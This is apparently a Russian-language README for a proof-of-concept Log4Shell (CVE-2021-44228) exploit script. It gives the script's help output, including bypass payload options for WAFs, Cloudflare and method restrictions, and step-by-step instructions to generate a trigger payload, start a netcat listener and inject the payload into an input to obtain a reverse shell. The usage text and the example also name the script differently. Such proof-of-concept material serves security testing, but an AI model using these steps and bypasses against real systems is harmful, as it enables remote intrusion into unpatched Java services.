Log4j Простой эксплойт

Эксплойт Proof-Of-Concept для уязвимости CVE-2021-44228.

Log4j, используемый для регистрации информации о безопасности и производительности, затрагивает более 3 миллиардов устройств, использующих Java, в различных потребительских и корпоративных сервисах, веб-сайтах и приложениях, а также в медицинских устройствах и вспомогательных системах.
Примечание: Это не эксплойт типа "нажми и работай". Начальная полезная нагрузка триггера будет сгенерирована, но её внедрение в соответствующее место (например, HTTP-заголовок/чат/и т.д.) будет зависеть от пользователя.

Предварительные требования

• python3
• pip install -r requirements.txt
• Установите jdk1.8.0_20 и добавьте папку bin в переменную окружения

usage: python CVE-2021-44228-exploit.py --help 
[!] CVE: CVE-2021-44228
[!] This is simple Log4j exploit to get reverse shell
[!] Reference: https://akashpatil.me/log4j-guide-book.html

usage: CVE-2021-44228-exploit.py [-h] [--userip userip] [--webport webport] [--lport lport] [-b bypass]

log4shell Reverse shell exploit

optional arguments:
  -h, --help            show this help message and exit
  --userip userip       Enter IP for LDAPRefServer & Shell
  --webport webport     listener port for HTTP port
  --lport lport         Netcat Port
  -b bypass, --bypass bypass
                        Type of bypass payload. None/WAF/Methods/Cloudflare. Methods - "ldap", "jndi", or the
                        ${lower:x} method restriction bypass

Пример:

1. Запустите скрипт для Linux OS с обходной полезной нагрузкой метода

python poc-csw.py --userip private-ip --webport 8888 --lport 9001 -b methods

2) запустите netcat на порту 9001 на вашей локальной машине

nc -lvnp 9001

3. Скопируйте payload 'Try me', чтобы обойти ограничения методов, и используйте его во входной переменной, чтобы получить шелл в netcat
   Примечание: Если обход не выбран, используйте payload 'Send me'

Ссылки

• https://akashpatil.me/log4j-guide-book.html
• https://github.com/kozmer/log4j-shell-poc